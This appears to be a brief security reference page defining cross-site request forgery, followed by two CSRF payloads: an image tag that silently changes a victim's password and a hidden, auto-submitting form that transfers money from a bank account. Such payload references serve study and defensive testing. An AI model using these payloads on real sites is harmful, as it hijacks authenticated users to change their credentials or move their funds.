Cross-site request forgery
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.
CSRF payloads
<img src="http://[host]/change-password.php?newPassword=hackerpassword"><html>
<head>
<title>Malicious web form</title>
</head>
<body onload="document.evil_bank_form.submit()">
<form action="http://bank.com/transfer" method="POST" name="evil_bank_form" style="display: none;" target="hidden_results">
<input type="text" name="amount" value="5000" />
<input type="text" name="to_account" value="12345" />
</form>
<iframe name="hidden_results" style="display: none;"></iframe>
</body>
</html>Further reading
Cập nhật lần cuối